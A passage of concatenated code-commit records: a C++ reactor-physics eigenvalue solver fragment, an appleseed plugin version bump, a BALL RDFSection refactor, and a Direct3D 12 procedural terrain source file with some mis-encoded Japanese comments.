\/\/ Perform a group sweep with the FSS\n fss_.sweeper()->calc_fission_source(keff_, fission_source_);\n fss_.step();\n\n \/\/ Get the total fission sources\n real_t tfis1 = fss_.sweeper()->total_fission(false);\n real_t tfis2 = fss_.sweeper()->total_fission(true);\n\n \/\/ update estimate for k\n keff_prev_ = keff_;\n keff_ = keff_ * tfis1\/tfis2;\n }\n\n void EigenSolver::print( int iter, ConvergenceCriteria conv ) {\n LogScreen << std::setw(out_w) << std::fixed << std::setprecision(5)\n << RootTimer.time() << std::setw(out_w)\n << iter << conv << endl;\n return;\n }\n\n void EigenSolver::do_cmfd() {\n assert(cmfd_);\n assert(cmfd_->is_enabled());\n \/\/ push homogenized flux onto the coarse mesh, solve, and pull it\n \/\/ back.\n cmfd_->coarse_data().flux = fss_.sweeper()->get_pin_flux();\n\n \/\/ Set the convergence criteria for this solve, there are a few ways we\n \/\/ can do this\n\n CMFDConvergence conv = CMFDConvergence::FIXED;\n switch( conv ) {\n case CMFDConvergence::FIXED:\n cmfd_->set_k_tolerance(tolerance_k_\/100.0);\n cmfd_->set_psi_tolerance(tolerance_psi_\/100.0);\n break;\n case CMFDConvergence::FLOAT:\n real_t k_tol = std::max(error_k_\/1000.0, tolerance_k_\/10.0);\n cmfd_->set_k_tolerance( k_tol );\n\n real_t psi_tol = std::max(error_psi_\/1000.0, tolerance_psi_\/10.0);\n cmfd_->set_psi_tolerance( psi_tol );\n break;\n }\n cmfd_->solve(keff_, fss_.sweeper()->flux());\n fss_.sweeper()->set_pin_flux( cmfd_->flux() );\n return;\n }\n\n std::ostream& operator<<( std::ostream &os, ConvergenceCriteria conv) {\n std::ios::fmtflags flags = os.flags();\n\n os << std::setw(out_w) << std::fixed\n << std::setprecision(10) << conv.k\n << std::setw(out_w) << std::scientific\n << std::setprecision(6) << conv.error_k\n << std::setw(out_w) << std::setiosflags(std::ios::scientific)\n << std::setprecision(6) << conv.error_psi;\n\n os.flags(flags);\n return os;\n }\n};\n<|endoftext|>"} {"text":"<commit_before>\n\/\/\n\/\/ This source file is part of appleseed.\n\/\/ Visit http:\/\/appleseedhq.net\/ for additional information and resources.\n\/\/\n\/\/ This software is released under the MIT license.\n\/\/\n\/\/ Copyright (c) 2015-2016 Francois Beaune, The appleseedhq Organization\n\/\/\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/ of this software and associated documentation files (the \"Software\"), to deal\n\/\/ in the Software without restriction, including without limitation the rights\n\/\/ to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n\/\/ copies of the Software, and to permit persons to whom the Software is\n\/\/ furnished to do so, subject to the following conditions:\n\/\/\n\/\/ The above copyright notice and this permission notice shall be included in\n\/\/ all copies or substantial portions of the Software.\n\/\/\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n\/\/ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n\/\/ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n\/\/ THE SOFTWARE.\n\/\/\n\n\/\/ Interface header.\n#include \"version.h\"\n\nconst TCHAR* PluginVersionString = _T(\"0.1.3-alpha\");\n<commit_msg>Bump plugin version to 0.1.4-alpha<commit_after>\n\/\/\n\/\/ This source file is part of appleseed.\n\/\/ Visit http:\/\/appleseedhq.net\/ for additional information and resources.\n\/\/\n\/\/ This software is released under the MIT license.\n\/\/\n\/\/ Copyright (c) 2015-2016 Francois Beaune, The appleseedhq Organization\n\/\/\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/ of this software and associated documentation files (the \"Software\"), to deal\n\/\/ in the Software without restriction, including without limitation the rights\n\/\/ to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n\/\/ copies of the Software, and to permit persons to whom the Software is\n\/\/ furnished to do so, subject to the following conditions:\n\/\/\n\/\/ The above copyright notice and this permission notice shall be included in\n\/\/ all copies or substantial portions of the Software.\n\/\/\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n\/\/ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n\/\/ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n\/\/ THE SOFTWARE.\n\/\/\n\n\/\/ Interface header.\n#include \"version.h\"\n\nconst TCHAR* PluginVersionString = _T(\"0.1.4-alpha\");\n<|endoftext|>"} {"text":"<commit_before>\/\/ $Id: RDFSection.C,v 1.5 2000\/10\/18 12:53:17 oliver Exp $\n\n#include <BALL\/STRUCTURE\/RDFSection.h>\n#include <BALL\/FORMAT\/parameters.h>\n\nusing namespace std;\n\nnamespace BALL\n{\n\n\tRDFSection::RDFSection()\n\t\t:\tParameterSection(),\n\t\t \trdf_()\n\t{\n\t}\n\n\n\tRDFSection::RDFSection(const RDFSection& rdf_section)\n\t\t:\tParameterSection(),\n\t\t\trdf_(rdf_section.rdf_)\n\t{\n\t}\n\n\n\tRDFSection::~RDFSection()\n\t\tthrow()\n\t{\n\t}\n\n\n\tvoid RDFSection::destroy()\n\t{\n\t\tclear();\n\t}\n\n\n\tvoid RDFSection::clear()\n\t\tthrow()\n\t{\n\t\trdf_.clear();\n\t}\n\n\n\tvoid RDFSection::set(const RDFSection& rdf_section)\n\t{\n\t\trdf_.set(rdf_section.rdf_);\n\t}\n\n\n\tconst RDFSection& RDFSection::operator = (const RDFSection& rdf_section)\n\t{\n\t\trdf_.set(rdf_section.rdf_);\n\t\treturn *this;\n\t}\n\n\n\tRadialDistributionFunction RDFSection::getRDF() const\n\t{\n\t\treturn rdf_;\n\t}\n\n\n\tbool RDFSection::extractSection(Parameters& parameters,\n\t\t\tconst String& section_name)\n\t{\n\t\tif (!parameters.isValid())\n\t\t{\n\t\t\treturn false;\n\t\t}\n\n\t\tint type;\n\n\t\t\/\/ extract the basis information\n\t\tParameterSection::extractSection(parameters, section_name);\n\n\t\tif (options.has(\"type\"))\n\t\t{\n\t\t\tif (options.get(\"type\") == \"piecewise_polynomial\")\n\t\t\t{\n\t\t\t\ttype = PIECEWISE_POLYNOMIAL;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tLog.error() << \"RDFSection::extractSection(): \"\n\t\t\t\t\t<< \"Unknown type.\";\n\t\t\t\treturn false;\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\tLog.warn() << \"RDFSection::extractSection(): \"\n\t\t\t\t<< \"no type given, assuming piecewise_polynomial.\" << endl;\n\t\t\ttype = PIECEWISE_POLYNOMIAL;\n\t\t}\n\n\t\tPiecewisePolynomial poly;\n\t\tInterval interval;\n\t\tstd::vector<Interval> intervals;\n\t\tSize number_of_intervals;\n\t\tSize degree;\n\t\tCoefficients coeffs;\n\t\tstd::vector<Coefficients> coefficients;\n\t\tString upper_limit;\n\n\t\tswitch(type) \n\t\t{\n\n\t\t\tcase PIECEWISE_POLYNOMIAL:\n\t\t\t\n\t\t\t\tif (options.has(\"degree\"))\n\t\t\t\t{\n\t\t\t\t\tdegree = options.get(\"degree\").toInt();\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tLog.warn() << \"RDFSection::extractSection(): \"\n\t\t\t\t\t\t<< \"No degree given, assuming 4.\" << endl;\n\t\t\t\t\tdegree = 4;\n\t\t\t\t}\n\t\t\t\tcoeffs.resize(degree);\n\n\t\t\t\tnumber_of_intervals = getNumberOfKeys();\n\t\t\t\tintervals.resize(number_of_intervals);\n\t\t\t\tcoefficients.resize(number_of_intervals);\n\n\t\t\t\tfor (Size i = 0; i < number_of_intervals; ++i)\n\t\t\t\t{\n\t\t\t\t\tinterval.first = getValue(i, 0).toFloat();\n\t\t\t\t\t\/\/ special case: an upper limit can be infinity\n\t\t\t\t\tupper_limit = getValue(i, 1);\n\t\t\t\t\tif (upper_limit == \"inf\")\n\t\t\t\t\t{\n\t\t\t\t\t\tinterval.second = INFINITY;\n\t\t\t\t\t}\n\t\t\t\t\telse \n\t\t\t\t\t{\n\t\t\t\t\t\tinterval.second = getValue(i, 1).toFloat();\n\t\t\t\t\t}\n\t\t\t\t\tfor (Size col = 0; col < degree; ++col)\n\t\t\t\t\t{\n\t\t\t\t\t\tcoeffs[col] = getValue(i, col + 2).toFloat();\n\t\t\t\t\t}\n\t\t\t\t\tintervals[i] = interval;\n\t\t\t\t\tcoefficients[i] = coeffs;\n\t\t\t\t}\n\n\t\t\t\tpoly.set(degree, intervals, coefficients);\n\t\t\t\trdf_ = RadialDistributionFunction(poly);\n\t\t\t\treturn true;\n\n\t\t\tdefault:\n\t\t\t\t\n\t\t\t\tLog.error() << \"RDFSection::extractSection(): \"\n\t\t\t\t\t<< \"Unknown type.\" << endl;\n\t\t\t\treturn false;\n\t\t}\n\n\t}\n\n\n} \/\/ namespace BALL\n<commit_msg>fixed: throw()s fixed: merge conflicts changed: canonified interface<commit_after>\/\/ $Id: RDFSection.C,v 1.6 2000\/10\/18 13:54:36 anker Exp $\n\n#include <BALL\/STRUCTURE\/RDFSection.h>\n#include <BALL\/FORMAT\/parameters.h>\n\nusing namespace std;\n\nnamespace BALL\n{\n\n\tRDFSection::RDFSection() throw()\n\t\t:\tParameterSection(),\n\t\t \trdf_()\n\t{\n\t}\n\n\n\tRDFSection::RDFSection(const RDFSection& rdf_section) throw()\n\t\t:\tParameterSection(),\n\t\t\trdf_(rdf_section.rdf_)\n\t{\n\t}\n\n\n\tRDFSection::~RDFSection() throw()\n\t{\n\t\tclear();\n\n\t\tvalid_ = false;\n\t}\n\n\n\tvoid RDFSection::clear() throw()\n\t{\n\t\trdf_.clear();\n\n\t\tParameterSection::clear();\n\t}\n\n\n\tconst RDFSection& RDFSection::operator = (const RDFSection& rdf_section)\n\t\tthrow()\n\t{\n\t\tParameterSection::operator = (rdf_section);\n\t\trdf_ = rdf_section.rdf_;\n\n\t\treturn *this;\n\t}\n\n\n\tconst RadialDistributionFunction& RDFSection::getRDF() const throw()\n\t{\n\t\treturn rdf_;\n\t}\n\n\t\n\tbool RDFSection::operator == (const RDFSection& section) const throw()\n\t{\n\t\treturn (ParameterSection::operator == (section)\n\t\t\t&& (rdf_ == section.rdf_));\n\t}\n\n\n\tbool RDFSection::extractSection(Parameters& parameters,\n\t\t\tconst String& section_name) throw()\n\t{\n\t\tif (!parameters.isValid())\n\t\t{\n\t\t\treturn false;\n\t\t}\n\n\t\tint type;\n\n\t\t\/\/ extract the basis information\n\t\tParameterSection::extractSection(parameters, section_name);\n\n\t\tif (options.has(\"type\"))\n\t\t{\n\t\t\tif (options.get(\"type\") == \"piecewise_polynomial\")\n\t\t\t{\n\t\t\t\ttype = PIECEWISE_POLYNOMIAL;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tLog.error() << \"RDFSection::extractSection(): \"\n\t\t\t\t\t<< \"Unknown type.\";\n\t\t\t\treturn false;\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\tLog.warn() << \"RDFSection::extractSection(): \"\n\t\t\t\t<< \"no type given, assuming piecewise_polynomial.\" << endl;\n\t\t\ttype = PIECEWISE_POLYNOMIAL;\n\t\t}\n\n\t\tPiecewisePolynomial poly;\n\t\tInterval interval;\n\t\tstd::vector<Interval> intervals;\n\t\tSize number_of_intervals;\n\t\tSize degree;\n\t\tCoefficients coeffs;\n\t\tstd::vector<Coefficients> coefficients;\n\t\tString upper_limit;\n\n\t\tswitch(type) \n\t\t{\n\n\t\t\tcase PIECEWISE_POLYNOMIAL:\n\t\t\t\n\t\t\t\tif (options.has(\"degree\"))\n\t\t\t\t{\n\t\t\t\t\tdegree = options.get(\"degree\").toInt();\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tLog.warn() << \"RDFSection::extractSection(): \"\n\t\t\t\t\t\t<< \"No degree given, assuming 4.\" << endl;\n\t\t\t\t\tdegree = 4;\n\t\t\t\t}\n\t\t\t\tcoeffs.resize(degree);\n\n\t\t\t\tnumber_of_intervals = getNumberOfKeys();\n\t\t\t\tintervals.resize(number_of_intervals);\n\t\t\t\tcoefficients.resize(number_of_intervals);\n\n\t\t\t\tfor (Size i = 0; i < number_of_intervals; ++i)\n\t\t\t\t{\n\t\t\t\t\tinterval.first = getValue(i, 0).toFloat();\n\t\t\t\t\t\/\/ special case: an upper limit can be infinity\n\t\t\t\t\tupper_limit = getValue(i, 1);\n\t\t\t\t\tif (upper_limit == \"inf\")\n\t\t\t\t\t{\n\t\t\t\t\t\tinterval.second = INFINITY;\n\t\t\t\t\t}\n\t\t\t\t\telse \n\t\t\t\t\t{\n\t\t\t\t\t\tinterval.second = getValue(i, 1).toFloat();\n\t\t\t\t\t}\n\t\t\t\t\tfor (Size col = 0; col < degree; ++col)\n\t\t\t\t\t{\n\t\t\t\t\t\tcoeffs[col] = getValue(i, col + 2).toFloat();\n\t\t\t\t\t}\n\t\t\t\t\tintervals[i] = interval;\n\t\t\t\t\tcoefficients[i] = coeffs;\n\t\t\t\t}\n\n\t\t\t\tpoly.set(degree, intervals, coefficients);\n\t\t\t\trdf_ = RadialDistributionFunction(poly);\n\t\t\t\treturn true;\n\n\t\t\tdefault:\n\t\t\t\t\n\t\t\t\tLog.error() << \"RDFSection::extractSection(): \"\n\t\t\t\t\t<< \"Unknown type.\" << endl;\n\t\t\t\treturn false;\n\t\t}\n\n\t}\n\n\n} \/\/ namespace BALL\n<|endoftext|>"} {"text":"<commit_before>\/**\r\n* @file ProcedualTerrain.cpp\r\n*\/\r\n#include \"ProcedualTerrain.h\"\r\n#include \"Texture.h\"\r\n#include \"d3dx12.h\"\r\n#include \"PSO.h\"\r\n#include \"Texture.h\"\r\n#include \"Graphics.h\"\r\n#include \"GamePad.h\"\r\n#include <DirectXMath.h>\r\n\r\nusing Microsoft::WRL::ComPtr;\r\nusing namespace DirectX;\r\n\r\n\/**\r\n* n``p_f[^^.\r\n*\/\r\nstruct Vertex {\r\n XMFLOAT3 position;\r\n};\r\n\r\n\/**\r\n* 葱In`.\r\n*\r\n* @param commandAllocator R}hXg쐬p̃AP[^.\r\n*\r\n* @retval true .\r\n* @retval false s.\r\n*\/\r\nbool ProcedualTerrain::Init(const ComPtr<ID3D12Device>& device, const ComPtr<ID3D12DescriptorHeap>& csuDescriptorHeap)\r\n{\r\n if (FAILED(device->CreateCommittedResource(\r\n &CD3DX12_HEAP_PROPERTIES(D3D12_HEAP_TYPE_UPLOAD),\r\n D3D12_HEAP_FLAG_NONE,\r\n &CD3DX12_RESOURCE_DESC::Buffer(vertexCount * sizeof(Vertex)),\r\n D3D12_RESOURCE_STATE_GENERIC_READ,\r\n nullptr,\r\n IID_PPV_ARGS(&vertexBuffer)\r\n ))) {\r\n return false;\r\n }\r\n vertexBuffer->SetName(L\"ProcedualTerrain Vertex Buffer\");\r\n CD3DX12_RANGE range(0, 0);\r\n void* vertexBufferAddress;\r\n if (FAILED(vertexBuffer->Map(0, &range, &vertexBufferAddress))) {\r\n return false;\r\n }\r\n Vertex* pVertex = static_cast<Vertex*>(vertexBufferAddress);\r\n\r\n \/\/ lp`𓙕_f[^쐬.\r\n const XMVECTORF32 factor = { 100.0f \/ static_cast<float>(width - 1), 1, -100.0f \/ static_cast<float>(height - 1), 1 };\r\n const XMVECTORF32 offset = { -50, 0, 50, 0 };\r\n for (size_t z = 0; z < height; ++z) {\r\n for (size_t x = 0; x < width; ++x) {\r\n const XMVECTORF32 ipos = { static_cast<float>(x), 0, static_cast<float>(z), 1 };\r\n const XMVECTOR pos = ipos * factor + offset;\r\n XMStoreFloat3(&pVertex->position, pos);\r\n ++pVertex;\r\n }\r\n }\r\n vertexBuffer->Unmap(0, nullptr);\r\n vertexBufferView.BufferLocation = vertexBuffer->GetGPUVirtualAddress();\r\n vertexBufferView.StrideInBytes = sizeof(Vertex);\r\n vertexBufferView.SizeInBytes = static_cast<UINT>(vertexCount * sizeof(Vertex));\r\n\r\n const int indexListSize = static_cast<int>(indexCount * sizeof(uint16_t));\r\n if (FAILED(device->CreateCommittedResource(\r\n &CD3DX12_HEAP_PROPERTIES(D3D12_HEAP_TYPE_UPLOAD),\r\n D3D12_HEAP_FLAG_NONE,\r\n &CD3DX12_RESOURCE_DESC::Buffer(indexListSize),\r\n D3D12_RESOURCE_STATE_GENERIC_READ,\r\n nullptr,\r\n IID_PPV_ARGS(&indexBuffer)\r\n ))) {\r\n return false;\r\n }\r\n indexBuffer->SetName(L\"ProcedualTerrain Index Buffer\");\r\n void* indexBufferAddress;\r\n if (FAILED(indexBuffer->Map(0, &range, &indexBufferAddress))) {\r\n return false;\r\n }\r\n uint16_t* pIndexBuffer = static_cast<uint16_t*>(indexBufferAddress);\r\n for (size_t z = 0; z < height - 1; ++z) {\r\n for (size_t x = 0; x < width - 1; ++x) {\r\n pIndexBuffer[0] = static_cast<uint16_t>(x + z * width);\r\n pIndexBuffer[1] = static_cast<uint16_t>((x + 1) + z * width);\r\n pIndexBuffer[2] = static_cast<uint16_t>(x + (z + 1) * width);\r\n pIndexBuffer[3] = static_cast<uint16_t>((x + 1) + (z + 1) * width);\r\n\t pIndexBuffer += 4;\r\n }\r\n }\r\n indexBuffer->Unmap(0, nullptr);\r\n indexBufferView.BufferLocation = indexBuffer->GetGPUVirtualAddress();\r\n indexBufferView.Format = DXGI_FORMAT_R16_UINT;\r\n indexBufferView.SizeInBytes = indexListSize;\r\n\r\n const size_t constantBufferSize = (sizeof(ConstantBuffer) + 255) & ~255;\r\n if (FAILED(device->CreateCommittedResource(\r\n\t &CD3DX12_HEAP_PROPERTIES(D3D12_HEAP_TYPE_UPLOAD),\r\n\t D3D12_HEAP_FLAG_NONE,\r\n\t &CD3DX12_RESOURCE_DESC::Buffer(constantBufferSize),\r\n\t D3D12_RESOURCE_STATE_GENERIC_READ,\r\n\t nullptr,\r\n\t IID_PPV_ARGS(&constantBuffer)\r\n ))) {\r\n\t return false;\r\n }\r\n indexBuffer->SetName(L\"ProcedualTerrain Constant Buffer\");\r\n void* constantBufferAddress;\r\n if (FAILED(constantBuffer->Map(0, &range, &constantBufferAddress))) {\r\n\t return false;\r\n }\r\n pConstantBuffer = static_cast<ConstantBuffer*>(constantBufferAddress);\r\n Update();\r\n\r\n constantBufferView.BufferLocation = constantBuffer->GetGPUVirtualAddress();\r\n constantBufferView.SizeInBytes = constantBufferSize;\r\n const UINT handleSize = device->GetDescriptorHandleIncrementSize(D3D12_DESCRIPTOR_HEAP_TYPE_CBV_SRV_UAV);\r\n cbGPUAddress = CD3DX12_GPU_DESCRIPTOR_HANDLE(csuDescriptorHeap->GetGPUDescriptorHandleForHeapStart(), 10, handleSize);\r\n cbCPUAddress = CD3DX12_CPU_DESCRIPTOR_HANDLE(csuDescriptorHeap->GetCPUDescriptorHandleForHeapStart(), 10, handleSize);\r\n device->CreateConstantBufferView(&constantBufferView, cbCPUAddress);\r\n\r\n return true;\r\n}\r\n\r\n\/**\r\n* XV\r\n*\/\r\nvoid ProcedualTerrain::Update()\r\n{\r\n\tif (!pConstantBuffer) {\r\n\t\treturn;\r\n\t}\r\n#if 0\r\n\tconst GamePad& gamepad = GetGamePad(0);\r\n\tif (gamepad.buttons & GamePad::DPAD_LEFT) {\r\n\t\trotEye.y -= 2.0f \/ 180.0f * 3.1415926f;\r\n\t}\r\n\tif (gamepad.buttons & GamePad::DPAD_RIGHT) {\r\n\t\trotEye.y += 2.0f \/ 180.0f * 3.1415926f;\r\n\t}\r\n\tif (gamepad.buttons & GamePad::DPAD_UP) {\r\n\t\trotEye.x -= 2.0f \/ 180.0f * 3.1415926f;\r\n\t}\r\n\tif (gamepad.buttons & GamePad::DPAD_DOWN) {\r\n\t\trotEye.x += 2.0f \/ 180.0f * 3.1415926f;\r\n\t}\r\n#endif\r\n\tGraphics::Graphics& graphics = Graphics::Graphics::Get();\r\n\tConstantBuffer& constant = *pConstantBuffer;\r\n rotEye = { 3.14159265f \/ 3.0f, 0 };\r\n\tconst XMMATRIX matEye = XMMatrixRotationX(rotEye.x) * XMMatrixRotationY(rotEye.y);\r\n\tconst XMVECTOR eyePos = XMVector4Transform(XMVECTOR{ 0, 0, -70, 1 }, matEye);\r\n\tconst XMVECTOR eyeUp = XMVector4Transform(XMVECTOR{ 0, 1, 0, 1 }, matEye);\r\n\tconst XMMATRIX matView = XMMatrixLookAtLH(eyePos, XMVECTOR{ 0, 0, 0, 1 }, eyeUp);\r\n\tconst XMMATRIX matProjection = XMMatrixPerspectiveFovLH(45.0f*(3.14f \/ 180.0f), graphics.viewport.Width \/ graphics.viewport.Height, 1.0f, 1000.0f);\r\n\tXMStoreFloat3(&constant.cbFrame.eye, eyePos);\r\n\tXMStoreFloat3(&constant.cbFrame.lightDir, XMVECTOR{1.0f \/ 1.41421356f, -1.0f \/ 1.41421356f, 0, 1});\r\n\tconstant.cbFrame.lightDiffuse = XMFLOAT3A(0.8f, 0.8f, 0.7f);\r\n\tconstant.cbFrame.lightSpecular = XMFLOAT3A(0.8f, 0.8f, 0.7f);\r\n\tconstant.cbFrame.lightAmbient = XMFLOAT3A(0.1f, 0.05f, 0.1f);\r\n static float base = 0;\r\n base += 0.005f;\r\n\tconstant.cbTerrain = { 25, 100, 100, base };\r\n\tXMStoreFloat4x4A(&constant.cbFrame.matViewProjection, XMMatrixTranspose(matView * matProjection));\r\n}\r\n\r\n\/**\r\n* `.\r\n*\r\n* @param commandList `R}hs̃R}hXg.\r\n* @param cbTableIndex 萔obt@蓖Ă郋[gfXNv^e[ũCfbNX.\r\n*\/\r\nvoid ProcedualTerrain::Draw(ID3D12GraphicsCommandList* commandList, uint32_t cbTableIndex) const\r\n{\r\n Graphics::Graphics& graphics = Graphics::Graphics::Get();\r\n const PSO& pso = GetPSO(PSOType_Terrain);\r\n commandList->SetGraphicsRootSignature(pso.rootSignature.Get());\r\n commandList->SetPipelineState(pso.pso.Get());\r\n ID3D12DescriptorHeap* heapList[] = { graphics.csuDescriptorHeap.Get() };\r\n commandList->SetDescriptorHeaps(_countof(heapList), heapList);\r\n commandList->RSSetViewports(1, &graphics.viewport);\r\n commandList->RSSetScissorRects(1, &graphics.scissorRect);\r\n\r\n commandList->SetGraphicsRootDescriptorTable(cbTableIndex, cbGPUAddress);\r\n commandList->IASetPrimitiveTopology(D3D_PRIMITIVE_TOPOLOGY_4_CONTROL_POINT_PATCHLIST);\r\n commandList->IASetVertexBuffers(0, 1, &vertexBufferView);\r\n commandList->IASetIndexBuffer(&indexBufferView);\r\n commandList->DrawIndexedInstanced(indexCount, 1, 0, 0, 0);\r\n}\r\n<commit_msg>視点移動と組み合わせた疑似無限スクロールを実装.<commit_after>\/**\r\n* @file ProcedualTerrain.cpp\r\n*\/\r\n#include \"ProcedualTerrain.h\"\r\n#include \"Texture.h\"\r\n#include \"d3dx12.h\"\r\n#include \"PSO.h\"\r\n#include \"Texture.h\"\r\n#include \"Graphics.h\"\r\n#include \"GamePad.h\"\r\n#include <DirectXMath.h>\r\n\r\nusing Microsoft::WRL::ComPtr;\r\nusing namespace DirectX;\r\n\r\n\/**\r\n* n``p_f[^^.\r\n*\/\r\nstruct Vertex {\r\n XMFLOAT3 position;\r\n};\r\n\r\n\/**\r\n* 葱In`.\r\n*\r\n* @param commandAllocator R}hXg쐬p̃AP[^.\r\n*\r\n* @retval true .\r\n* @retval false s.\r\n*\/\r\nbool ProcedualTerrain::Init(const ComPtr<ID3D12Device>& device, const ComPtr<ID3D12DescriptorHeap>& csuDescriptorHeap)\r\n{\r\n if (FAILED(device->CreateCommittedResource(\r\n &CD3DX12_HEAP_PROPERTIES(D3D12_HEAP_TYPE_UPLOAD),\r\n D3D12_HEAP_FLAG_NONE,\r\n &CD3DX12_RESOURCE_DESC::Buffer(vertexCount * sizeof(Vertex)),\r\n D3D12_RESOURCE_STATE_GENERIC_READ,\r\n nullptr,\r\n IID_PPV_ARGS(&vertexBuffer)\r\n ))) {\r\n return false;\r\n }\r\n vertexBuffer->SetName(L\"ProcedualTerrain Vertex Buffer\");\r\n CD3DX12_RANGE range(0, 0);\r\n void* vertexBufferAddress;\r\n if (FAILED(vertexBuffer->Map(0, &range, &vertexBufferAddress))) {\r\n return false;\r\n }\r\n Vertex* pVertex = static_cast<Vertex*>(vertexBufferAddress);\r\n\r\n \/\/ lp`𓙕_f[^쐬.\r\n const XMVECTORF32 factor = { 100.0f \/ static_cast<float>(width - 1), 1, -100.0f \/ static_cast<float>(height - 1), 1 };\r\n const XMVECTORF32 offset = { -50, 0, 50, 0 };\r\n for (size_t z = 0; z < height; ++z) {\r\n for (size_t x = 0; x < width; ++x) {\r\n const XMVECTORF32 ipos = { static_cast<float>(x), 0, static_cast<float>(z), 1 };\r\n const XMVECTOR pos = ipos * factor + offset;\r\n XMStoreFloat3(&pVertex->position, pos);\r\n ++pVertex;\r\n }\r\n }\r\n vertexBuffer->Unmap(0, nullptr);\r\n vertexBufferView.BufferLocation = vertexBuffer->GetGPUVirtualAddress();\r\n vertexBufferView.StrideInBytes = sizeof(Vertex);\r\n vertexBufferView.SizeInBytes = static_cast<UINT>(vertexCount * sizeof(Vertex));\r\n\r\n const int indexListSize = static_cast<int>(indexCount * sizeof(uint16_t));\r\n if (FAILED(device->CreateCommittedResource(\r\n &CD3DX12_HEAP_PROPERTIES(D3D12_HEAP_TYPE_UPLOAD),\r\n D3D12_HEAP_FLAG_NONE,\r\n &CD3DX12_RESOURCE_DESC::Buffer(indexListSize),\r\n D3D12_RESOURCE_STATE_GENERIC_READ,\r\n nullptr,\r\n IID_PPV_ARGS(&indexBuffer)\r\n ))) {\r\n return false;\r\n }\r\n indexBuffer->SetName(L\"ProcedualTerrain Index Buffer\");\r\n void* indexBufferAddress;\r\n if (FAILED(indexBuffer->Map(0, &range, &indexBufferAddress))) {\r\n return false;\r\n }\r\n uint16_t* pIndexBuffer = static_cast<uint16_t*>(indexBufferAddress);\r\n for (size_t z = 0; z < height - 1; ++z) {\r\n for (size_t x = 0; x < width - 1; ++x) {\r\n pIndexBuffer[0] = static_cast<uint16_t>(x + z * width);\r\n pIndexBuffer[1] = static_cast<uint16_t>((x + 1) + z * width);\r\n pIndexBuffer[2] = static_cast<uint16_t>(x + (z + 1) * width);\r\n pIndexBuffer[3] = static_cast<uint16_t>((x + 1) + (z + 1) * width);\r\n\t pIndexBuffer += 4;\r\n }\r\n }\r\n indexBuffer->Unmap(0, nullptr);\r\n indexBufferView.BufferLocation = indexBuffer->GetGPUVirtualAddress();\r\n indexBufferView.Format = DXGI_FORMAT_R16_UINT;\r\n indexBufferView.SizeInBytes = indexListSize;\r\n\r\n const size_t constantBufferSize = (sizeof(ConstantBuffer) + 255) & ~255;\r\n if (FAILED(device->CreateCommittedResource(\r\n\t &CD3DX12_HEAP_PROPERTIES(D3D12_HEAP_TYPE_UPLOAD),\r\n\t D3D12_HEAP_FLAG_NONE,\r\n\t &CD3DX12_RESOURCE_DESC::Buffer(constantBufferSize),\r\n\t D3D12_RESOURCE_STATE_GENERIC_READ,\r\n\t nullptr,\r\n\t IID_PPV_ARGS(&constantBuffer)\r\n ))) {\r\n\t return false;\r\n }\r\n indexBuffer->SetName(L\"ProcedualTerrain Constant Buffer\");\r\n void* constantBufferAddress;\r\n if (FAILED(constantBuffer->Map(0, &range, &constantBufferAddress))) {\r\n\t return false;\r\n }\r\n pConstantBuffer = static_cast<ConstantBuffer*>(constantBufferAddress);\r\n Update();\r\n\r\n constantBufferView.BufferLocation = constantBuffer->GetGPUVirtualAddress();\r\n constantBufferView.SizeInBytes = constantBufferSize;\r\n const UINT handleSize = device->GetDescriptorHandleIncrementSize(D3D12_DESCRIPTOR_HEAP_TYPE_CBV_SRV_UAV);\r\n cbGPUAddress = CD3DX12_GPU_DESCRIPTOR_HANDLE(csuDescriptorHeap->GetGPUDescriptorHandleForHeapStart(), 10, handleSize);\r\n cbCPUAddress = CD3DX12_CPU_DESCRIPTOR_HANDLE(csuDescriptorHeap->GetCPUDescriptorHandleForHeapStart(), 10, handleSize);\r\n device->CreateConstantBufferView(&constantBufferView, cbCPUAddress);\r\n\r\n rotEye = { 3.14159265f \/ 3.0f, 0 };\r\n\r\n return true;\r\n}\r\n\r\n\/**\r\n* XV\r\n*\/\r\nvoid ProcedualTerrain::Update()\r\n{\r\n\tif (!pConstantBuffer) {\r\n\t\treturn;\r\n\t}\r\n#if 0\r\n\tconst GamePad& gamepad = GetGamePad(0);\r\n\tif (gamepad.buttons & GamePad::DPAD_LEFT) {\r\n\t\trotEye.y -= 2.0f \/ 180.0f * 3.1415926f;\r\n\t}\r\n\tif (gamepad.buttons & GamePad::DPAD_RIGHT) {\r\n\t\trotEye.y += 2.0f \/ 180.0f * 3.1415926f;\r\n\t}\r\n\tif (gamepad.buttons & GamePad::DPAD_UP) {\r\n\t\trotEye.x -= 2.0f \/ 180.0f * 3.1415926f;\r\n\t}\r\n\tif (gamepad.buttons 